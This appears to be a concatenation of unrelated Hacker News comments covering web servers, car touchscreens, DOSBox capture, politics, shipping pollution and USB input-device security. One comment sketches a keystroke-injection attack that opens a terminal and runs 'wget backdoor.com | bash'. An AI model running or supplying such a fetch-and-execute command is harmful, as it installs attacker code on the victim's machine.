skysight-inc/HackerNews huggingface dataset:
Yes. Any time I need to use cgi's, php, or anything where security outside of Apache can be controlled by an Apache module, I will always default to Apache as the security control story is better. Performance wise, Apache 2.4 using the latest APR libraries is equal to NGinx.

There are also far fewer bugs and updates to the Apache core. I rarely have to recompile anything.

I have also had many frustrating interactions with the lead developer of NGinx. There are many assumptions made and many things hard coded in the Makefile, especially as it pertains to pcre, zlib, openssl and CFLAGS, LDFLAGS, etc. Also, I can't just point to existing pcre and zlib deployments for inclusion. NGinx wants the source and to recompile the extra libraries each time.
Big thank you for getting this resolved so promptly Edwin. I will update the original post when I get a moment to reflect the whole story.
so... <Super>terminal<Enter>wget backdoor.com | bash<Enter>
They didn't actually measure mitochondrial health, they measured acylcarnitine levels. Those levels indicate that certain metabolic pathways happening in the mitochondria are working better. This is still very far from any practical effect on the whole organism. Biomarkers can also be misleading, you're not measuring the actual process you're interested in directly, you're measuring a particular aspect that you think is strongly correlated with what you're actually interested in.
RIP. That site was amazing 10 years ago.
> doing a completely lossless capture with FFMPEG

How? Are the iframes losslessly compressed? For some reason I thought they were equivalent to JPEG.
Right, it's even in the title of the topic. Too late to edit I'm afraid.

(I'm sure Netflix reasons the same way for some series set in a foreign country)
It's much easier to "explain yourself clearly" to someone from the same cultural/social/... background. Doesn't that approach create a huge bias towards hiring people like you?
The rise of EVs could overwhelm the grid, but PG&E has a better plan
You could require confirmation before accepting a new input device. This could be done with out of band signaling (such as a button on the computer itself that you push to say “yes, I want to use this keyboard”) or you could do it by requiring the user to type in a secret (such as their login password, or even just a PIN displayed on the screen) to enable it for other uses.

I don’t know that people would accept this inconvenience, though.
That's not a very social thing to do. I wouldn't want somebody camping out and recording my conversations.
Where did you go to high school? I went to Nashua High in the 1980's, and I don't remember any DEC machines at school. I used an Apple II in elementary school, but I don't remember using school computers much during high school.

My father worked for DEC when I was young, and I remember going in with him and playing something like terminal invaders while he did some work on the weekends. Most of my work with computers before college was at home, and I really appreciate my parents for investing in home computers at that point in time.
I never tried the Mazda system, but as an experienced UX designer, I agree that touchscreen in a car is one of the worst idea ever in term of UX. It's far, it requires aim, there is no tactile feedback, some gestures (like scroll) are really hard and require constant attention.
5G reportedly coming to premium iPhones in 2020, all models in 2021
You're probably thinking of a different airplane? The Boeing 777 is pretty much the safest airliner and hasn't had any "series of accidents".

https://en.wikipedia.org/wiki/Boeing_777#Accidents_and_incid...
I think this is a perfect example. For gross motor skills panning a map without having to think about it, nothing beats pointing your finger at it and dragging.

You don’t want the navigation interface in your car to be immersive, or particularly precise. You want it to be super responsive, and to spend as little mental and physical energy manipulating it as possible.

1) The target area is massive — nearly the entire screen. You just need to leave space to move your finger in the direction you want the screen to go.

2) Perfectly intuitive. Versus moving a cursor on the screen where you actually press the left arrow to move the cursor left until it goes off screen so that the screen will pan right

3) Instantaneous access to any point on the screen. Tap a POI anywhere and it’s info can be displayed. Go ahead and try to select POIs in an arbitrary map location with a scroll wheel. I’ll wait. It’s “haptic”, but are you doing that without looking? Something which took milliseconds now takes a full minute of frustration.

4) Instant access to menu items. Similar to #3 - a touch interface can present multiple choices and requires only a single user input to select. One touch and you’re off. A haptic interface requires scrolling through menus to highlight an item before you can select it, which most people will glance at while they do it, and requires more mental focus than a single tap. Or worse, an array of buttons next to the screen which you’re supposed to choose from to make a selection on the screen.
> We just need to take the externalities [...] and tax [...] accordingly.

That would be nice if geopolitics and economics worked like clockwork and were thus amenable to simple "rule-changes", but the fact is there are populations for whom tax-evasion is an art-form.

Not everything can be made to "play-nice" with free-markets.
24901.5 mi is the number i memorized for circumference as a wee bairn, before i knew about oblate eccentricity.
How to Get Smarter Without Knowing Anything
I once worked at a place where the keyboard and mouse were chained to the tower and glued in place, and the spare USB ports were glued over.
I use element filtering to strip Google News links off of the search page on the offhand chance I can't find something on DuckDuckGo and have to go back to it.

www.google.com/search*tbm=nws^$document
www.google.com##g-section-with-header:has(h3:has-text(Top stories))
www.google.com##g-section-with-header:has(h3:has-text(Videos))
www.google.com##div[role="tab"]:has(a:has-text(News))

It's a great feature that would be impossible with something like pihole. `has-text` is very powerful.
The dynamic you've described is no different than a licensed professional hiring unlicensed worker to work under them. The employer has some legal status that is required by the government to do that business and to make the most money off of it they have more people doing under their license. Sure they technically bear responsibility for the work but 99.9999% of the jobs won't require the full skills of a license holder so sending an apprentice to wire a ceiling fan or un-clog a drain is no big deal.

Sure, I guess the plumber's apprentice could just get a job bagging groceries but the illegal immigrant could panhandle or collect cans. At some point it just becomes an exercise drawing arbitrary lines with regard to how much money one needs to survive.

Personally I think the government should get out of the business of saying who can work or who can do what work since that's what's creating the opportunity for this labor arbitrage/exploitation.
Modern compilers do have insight into the source before it was preprocessed. You'll notice that clang and (modern) gcc will show you where the error is in the unexpanded source line, and then show the expansion of the macros. So when it detects "2^32", it can look back to see if it was a product of macro expansion or if the literal was directly written, and warn accordingly.

Interestingly, msvc can also do this, by virtue of not even having a distinct preprocessor phase at all.
I didn't mean to imply that this is the only way, just that it's a way that has worked for me.

I've worked with embedded systems and with desktop software that was used by my employers (electronics manufacturers) rather than sold by them, and I have never been asked to code in an interview.
It depends very heavily on your definition of "right." Hispanic people in general are pretty conservative, and Hispanic people in Texas are particularly so. For example, Hispanic registered voters are less likely than white registered voters to support marijuana legalization, and more likely to support restrictions or bans on abortion: https://www.pewhispanic.org/2014/10/16/chapter-2-latinos-vie.... On the criminal justice front, hispanics are more likely than whites to view the elimination of mandatory minimums for drug crimes as a bad thing, and twice as likely to support jail time for minor drug possession: https://www.people-press.org/2014/04/02/section-2-views-of-m....

Hispanic people are more likely to attend religious services at least once week and to pray daily: https://www.pewforum.org/religious-landscape-study/racial-an.... Hispanic people strongly support school choice: https://www.nationalreview.com/2018/11/school-choice-strong-.... Hispanic people list preventing terrorism as a top priority, alongside education and higher than healthcare or immigration: https://www.pewhispanic.org/2017/02/23/latino-priorities-for.... Among Democrats, Hispanic people are much more likely than whites to list the economy as the issue that "matters most" and much less likely to list the environment: https://www.nytimes.com/2019/06/06/business/economy/black-de....

Another key issue is aging. The median age for Hispanic people is 28 (squarely millennial), versus 42 (later side of Gen X) for non-Hispanic whites. That means, to a significant degree, the more liberal attitudes you see for Hispanic people as a group are a function of age and generational membership. Everyone gets more conservative with age, and you will see that same trend among Hispanic people.

Trump managed to get 28% of the Hispanic vote, despite running on an aggressively anti-Hispanic and anti-immigrant platform: https://www.politico.com/magazine/story/2019/02/24/2020-hisp.... His approval rating among Hispanics is now 35-45% depending on the poll. Greg Abbott won re-election in Texas with 42% of the Hispanic vote. Due to the various factors discussed above, I think the increasing Hispanic representation in the Texas vote is going to have much less of an impact than people assume.
Any idea why wifi isn't leveraged more often?

Wasn't there a huge deal about Google maps cars collecting wifi ssids? I never understood why this was a privacy issue.
As a side-note, please be careful to distinguish between local pollution from dirty fuel (SOx emissions, particulates), and global pollution from _carbon emissions_. They are two wildly different things, and often there is a big trade-off where cutting one raises the other (c.f. the VW scandal).

Cruise ships, as it happens, are horrible on both measures.
At the time of me writing this, you missed a space between the ");" and the url for the dosbox codec.

For people on mobile/lazy: https://wiki.multimedia.cx/index.php/DosBox_Capture_Codec

-----

For those interested in an even deeper dive:

Decoder: https://github.com/FFmpeg/FFmpeg/blob/master/libavcodec/zmbv...

Encoder: https://github.com/FFmpeg/FFmpeg/blob/master/libavcodec/zmbv...

This implementation was written almost immediately after dosbox added the codec.
The problem isn't difficulty, the problem is cost.
"Does it matter how the ship is flagged?" - Probably not for large fleets, see [0] for examples of how this might be applied to the 2020 change.

Your ship may be registered to a tiny little island that won't enforce any regulation, but there's a limited number of markets to underwrite the insurance you need, and you'll want to dock at major sea ports.

[0] https://uk.reuters.com/article/us-shipping-fuel-sulphur/new-...
Edit the dosbox configuration file and change aspect=0 to aspect=1, it'll resize the output to be aspect correct but it might be a bit blurry (IIRC the scale3x scaler will do a pixel-scale and then that will be bilinearly resized, giving mostly crispy pixels with a bit of in-between bleeding which is probably the best you can get with an LCD monitor)
Unfortunately, I bought the cheapest wrangler I could (no power windows) and it still came with a touch screen. It is the biggest piece of crap. It won't default to Bluetooth. It will default to the radio, loudly, with an undismissable safety agreement that blocks all interaction for 5 seconds. The only loophole I've found is an aux cable, which it will default to. I would much prefer a radio.
I was in medical trial that had the same...
I just did not drink a day before they took my blood. Also I am pretty sure toxicology test was not performed.
It also required me to not have kids. It made sense but still sounds extreame.
More significantly, the increase in gas is more than offset by a decrease in coal and oil.
> Initially, we implemented this solution using a bytea column, but we found that the retrieval performance was unacceptable. It required the whole file to be read into memory before being sent back to the user (as opposed to streaming the content in smaller chunks).

How large are the objects on average?
GPS is specifically the name of the US system. GNSS, Global Navigation Satellite System, is a general name that also covers other systems.

https://en.m.wikipedia.org/wiki/Satellite_navigation
Can you turn that around to determine whether some group is leftist? "Are they targeted by the FBI?" as a test?
A simple system like android fine grained permissions? <usb device> is asking to send keyboard input. Allow/Deny?
Why would 'health' be a contributing factor for sales of vegan burgers but not non-vegan burgers?
Algorand’s Economic Experiment Is Unprecedented
Sure, I absolutely do understand the cost. You picked the largest estimate?

Because there are many different numbers:

http://www.thespacereview.com/article/1579/1

https://www.quora.com/How-much-did-the-Moon-Mission-cost

The point is that it’s a matter of cost, and not a technical problem. The Apollo program was a “rush job” done in 10 years. Much of the technology had to be invented.

There an interesting BBC podcast called 13 Minutes to the Moon for anyone interested in finding out more about the Apollo program:

https://www.bbc.co.uk/programmes/w13xttx2
Developing 10x Faster with a Surface Go, Thanks to vs. Code and Azure
Windows 10 Home is fairly usable for many development workflows.
What conversions do you typically do to/from NM? As far as I'm aware, it is only used for navigation, where all related info, such as speed, position etc. relate directly to it.
I’m not necessarily disagreeing with you. I’m disagreeing with your belief in the non-controversial nature of your statement.

> The US deployed weaponry to...

Is an admission that an position is controversial enough that a major world power thought it prudent to enforce that opinion with violent force or the active threat of force. "Kosovo je Srbija" is still an opinion you’ll find expressed in earnest.

Would it be controversial for Texas to have the right to secede? Given internal (racial, economic) divisions within Texas, I’d say yes. Secession can also cause violence by removing a hegemon who enforces peace among different groups.
Personally I don’t mind using a remote to navigate menus; dedicated, physical buttons can in many cases make things easier. What I absolutely despise, however, is the latency between said button presses and the actual acknowledgment on-screen.

In my experience, the latency on cable TV boxes, Smart TVs, and in-flight entertainment systems has progressively gotten worse, not better over the years.

This latency, when coupled with a car’s touch screen is even worse.
Advice to Less Experienced Developers
The League of Entropy
Having multi billion dollar companies is only so useful when significant portions of production, sales, and stock ownership is outside the US.

Protectionism is theoretically a bad idea, but GDP is not the only measure of economies. Being largely self sufficient for example has real strategic advantages. In that context low tariffs (sub 10%) are not always a bad idea.
How do you determine the false-positive rate of this: people who actually can code quite well but fail the interview?
I didn’t say that this was just about Jewish people. The context here is a Jewish mother writing about kids drawing swastikas on a desk in a US school. That behavior is not likely to be driven by anti-Slavic sentiment.

You would indeed think that swastikas would be offensive to the people of any formerly Nazi-occupied country. And yet, Jewish cemeteries in (e.g.) France and Poland still get vandalized with swastikas and other Nazi-inspired graffiti. There is a growing far right movement in the US and Europe that’s anti-Jewish and broadly pro-Nazi. That’s the current threat, and the context in which a swastika is likely to be interpreted.
> Der untergang is a german movie so they speak German.

Fair point. But I'm sure there are better examples where a film was made by people from country A, and set in country B using actors that speak B-language for realism.

> So are you saying only ukranians should be allowed to make movies about Chernobyl?

"Be allowed" I didn't say. I said it's an opportunity for extra realism you choose to use or not.

> So Americans can only make historical movies about events in America and only Scandinavians can make movies about Vikings?

I'm 100% sure that if Scandinavians did a movie about historical USA it would be in english. But it's beside the point. Again: it's just a choice whether you think the added trouble of finding actors speaking a language and having your audience read subtitles is worth it for the added realism.
It's one less remote.
That's true, but that issue isn't specific to CSS inches. Pixels aren't pixels, points aren't points, etc.

It's not even an HTML/browser issue. There's a general problem with knowing in software the real-life physical size or length of something displayed on screen. The calibration information available isn't generally reliable, though I think people are paying more attention these days with the growing interest in AR.
Can’t they just simplify touch screen UI. I understand the distraction factor but that can also happen with too many hard controls as well. In Tesla, the hard button on steering wheel can be modified by the touch panel control. They both work together.

IMO this is a wrong move for mazda. Eventually if these cars become smart cars then you will not be interacting with controls as much. Touch an go.
This is the way it is in several Europen cities (if not all).
The cruise ships burn very pollutingly fuels while in "international waters" but when they enter a port they are required to use cleaner fuel. Those regulations are there.

But nothing regulates what they do in international waters.
I have no desire to listen to people I consider to be assholes. I have no problem censuring those people in my life. There is no right to be an asshole. If you're going to be shitty towards other people, you should not expect a positive reaction from them. You should probably expect to be treated shitty in return. That's basically the golden rule.

Instead there is a bunch of people who believe their shitty behavior is completely justified and righteous and then can't comprehend why people don't want to tolerate them. I have no sympathy for that, whatever language you want to use. Call it censorship if you want, but there is no rule nor law that says shitty behavior has to be tolerated and supported.
I think the advice here is "get as good as you can, get as smart as you can, and then, when you decide to set off on embarking on a calculated risk, try to forget all the noise around you and stay the course."

I feel like the problem is there's a lot of wannabes who skip the steps of actually gaining competence and then disregard the advice of others. That's not going to work. The first step is years of hard work. For instance, crank physicists who don't really understand graduate level physicists are not going to accomplish anything by disregarding the advice of others.

However, if you know what you're doing, don't second guess yourself when embarking down a risky path. It's probably not as dangerous as it may seem.
Is the article wrong in stating "UA stimulates mitochondrial biogenesis". Did the measurements of acylcarnitine levels not actually show this? Have any other substances been found to affect acylcarnitine levels or stimulate mitochondrial biogenesis ?
Right, as I was reading this I was thinking "Isn't that just describing the way light and color normally works?" We haven't really answered the question "why is the sky blue," more like, "how does the sky get its blue color?"
Is he paid by the nuclear industry is what I was wanting to know?

This label “lobbyist” gets used to malign people and cast aside anything they might have to say a lot. It’s usually only used against those which are promoting an idea that someone already disagrees with. So for example an anti-nuclear but pro-wind power person will throw out a “he’s a lobbyist” label to an article by this guy then ignore what he’s saying. But without any irony completely lap up something written by a wind-power producer who makes money selling wind turbines or similar.

If the guy writing this is a lobbyist because he is making the case for nuclear, and thus we must disregard him, then anyone making the case for anything is de facto a lobbyist and we should disregard everything.

I would much rather see people actually try to refute or counter the facts and claims this author presents, but that almost never happens which leads me to believe the only way people have to rebut him is the ad-hom route as the person I replied to did: label him with that despised “lobbyist” word so people tune out.
I would agree with the suggestion then. It can happen that you just write it out like that and the compiler should maybe inform me. But why limit it to 2^ and 10^ and not say literal^literal should always produce a warning? Any common or valid usages that I am missing here?
Where are you getting this fanciful notion of CO2 capture with solar powered flyers? That sounds very expensive and I'm highly skeptical. Are you aware of the energetics needed to split CO2 into oxygen and carbon, btw? It's massively expensive to do without a plant, which we are systematically destroying in jungles across the world.
I made a script which runs on user logon in my Windows domain and watches for any USB storage device.

It doesn't stop the attack, but in my small(ish) network I can easily recognize unauthorized devices. https://github.com/zelon88/Workstation_USB_Monitor
Does it exist / work on iOS?
I'm guessing there is a big difference between spraying Sulfor _Dioxide_ into the stratosphere and ejecting Sulfor _Oxide_ from boats at sea-level.
PartNet: 3D Dataset Helps Robots Understand What Things Are
It would be easy to fix this with regulation like European Sulphur Emission Control Area (SECA) does.

Installing scrubbers and cleaner fuel or moving into LNG are options. They add only little to the price of the ship.
No one so far has mentioned that actual Russians who learned English would be learning British English and not American so that 'accent' for them seems totally on point. Making people read subtitles would only serve to eliminate 75% of the audience.
Nope. It's is derived from latitude, which is an angle measured at the centre of the Earth, and not the surface.

So you have the equator, and then 90 degrees north and south. Take one of those degrees, divide it by sixty (arc-minute), project it on the surface, and you have a nautical mile. That's regardless of where you are on the surface.

That's the original/historical definition; now it's 1852m.
I don't disagree at all but shifting the costs of these externalities to individuals who really have no power doesn't really accomplish anything and is basically the definition of regressive. Telling someone who was living paycheck to paycheck before the change that their cost of living doubled and they should think of the environment is insane.

So yes. Please shift the misery.